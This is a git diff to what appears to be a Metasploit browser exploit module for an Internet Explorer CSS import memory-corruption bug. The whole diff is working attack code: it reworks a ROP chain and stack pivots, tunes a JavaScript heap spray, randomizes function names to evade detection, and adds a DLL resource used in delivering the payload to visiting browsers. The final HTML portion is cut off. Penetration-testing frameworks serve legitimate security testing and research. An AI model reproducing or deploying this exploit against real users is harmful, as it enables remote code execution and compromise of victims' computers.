diff --git a/modules/exploits/windows/browser/ms11_xxx_ie_css_import.rb b/modules/exploits/windows/browser/ms11_xxx_ie_css_import.rb index 6ddfcb0cd7..b8a13c6a0b 100644 --- a/modules/exploits/windows/browser/ms11_xxx_ie_css_import.rb +++ b/modules/exploits/windows/browser/ms11_xxx_ie_css_import.rb @@ -133,11 +133,6 @@ class Metasploit3 < Msf::Exploit::Remote # Full-disclosure post was Dec 8th, original blog Nov 29th 'DisclosureDate' => 'Nov 29 2010', 'DefaultTarget' => 0)) - - register_options( - [ - OptBool.new('OldOle32', [ true, 'Whether the target has MS10-083 or not.', false ]) - ], self.class) end @@ -145,7 +140,7 @@ class Metasploit3 < Msf::Exploit::Remote mytarget = nil agent = request.headers['User-Agent'] - print_status("Checking user agent: #{agent}") + #print_status("Checking user agent: #{agent}") if agent =~ /MSIE 6\.0/ mytarget = targets[3] elsif agent =~ /MSIE 7\.0/ @@ -195,16 +190,12 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending #{self.refname} HTML to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") # Generate the ROP payload - # We need a different set of RVAs without MS10-083. Can we detect this remotely? - if datastore['OldOle32'] - rvas = rvas_pre() - else - rvas = rvas_post() - end + rvas = rvas_mscorie_v2() rop_stack = generate_rop(buf_addr, rvas) - fix_esp = rva2addr(rvas, 'ret 0x38') + fix_esp = rva2addr(rvas, 'leave / ret') ret = rva2addr(rvas, 'ret') - pivot = rva2addr(rvas, 'xchg eax, esp / ret') + pivot1 = rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8') + pivot2 = rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret') # Append the payload to the rop_stack rop_stack << p.encoded @@ -220,24 +211,24 @@ class Metasploit3 < Msf::Exploit::Remote special_sauce[mytarget['DerefOff'], 4] = [buf_addr].pack('V') # Low byte must not have bit 1 set - no_bit1 = rand(0xffffffff) & ~2 - special_sauce[mytarget['FlagOff'], 4] = [no_bit1].pack('V') + no_bit1 = rand(0xff) & ~2 + special_sauce[mytarget['FlagOff'], 1] = [no_bit1].pack('V') # These are deref'd to figure out what to call special_sauce[mytarget['CallDeref1'], 4] = [buf_addr].pack('V') special_sauce[mytarget['CallDeref2'], 4] = [buf_addr].pack('V') special_sauce[mytarget['CallDeref3'], 4] = [buf_addr + mytarget['Deref4Off']].pack('V') # Finally, this one becomes eip - special_sauce[mytarget['CallDeref4'] + mytarget['Deref4Off'], 4] = [pivot].pack('V') + special_sauce[mytarget['CallDeref4'] + mytarget['Deref4Off'], 4] = [pivot1].pack('V') # This byte must be signed (shorter path to flow control) signed_byte = rand(0xff) | 0x80 special_sauce[mytarget['SignedOff'], 1] = [signed_byte].pack('C') # These offsets become a fix_esp ret chain .. - special_sauce[0x08, 4] = [fix_esp].pack('V') # our stack pivot ret's to this (fix_esp, from eax) - special_sauce[0x0c, 4] = [fix_esp].pack('V') # part two of fixing esp (two esp+=0x3c) - special_sauce[0x48, 4] = [ret].pack('V') # ropnop, continue as ESP is where we want it now. + special_sauce[0x04, 4] = [pivot2].pack('V') # part two of our stack pivot! + special_sauce[0x0c, 4] = [buf_addr + 0x84 - 4].pack('V') # becomes ebp, for fix esp + special_sauce[0x10, 4] = [fix_esp].pack('V') # our stack pivot ret's to this (fix_esp, from eax) # Add in the rest of the ROP stack special_sauce[0x84, rop_stack.length] = rop_stack @@ -245,9 +236,11 @@ class Metasploit3 < Msf::Exploit::Remote # Format for javascript use special_sauce = Rex::Text.to_unescape(special_sauce) + js_function = rand_text_alpha(rand(100)+1) + # Construct the javascript custom_js = <<-EOS -function prepare() { +function #{js_function}() { heap = new heapLib.ie(0x20000); var heapspray = unescape("#{special_sauce}"); while(heapspray.length < 0x1000) heapspray += unescape("%u4444"); @@ -255,10 +248,6 @@ var heapblock = heapspray; while(heapblock.length < 0x40000) heapblock += heapblock; finalspray = heapblock.substring(2, 0x40000 - 0x21); for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); } -} - -function start() { -prepare(); var vlink = document.createElement("link"); vlink.setAttribute("rel", "Stylesheet"); vlink.setAttribute("type", "text/css"); @@ -275,6 +264,10 @@ EOS custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts) js = heaplib(custom_js) + dll_uri = get_resource() + dll_uri << '/' if dll_uri[-1,1] != '/' + dll_uri << "generic-" + Time.now.to_i.to_s + ".dll" + # Construct the final page html = <<-EOS @@ -283,7 +276,8 @@ EOS #{js} -
+ +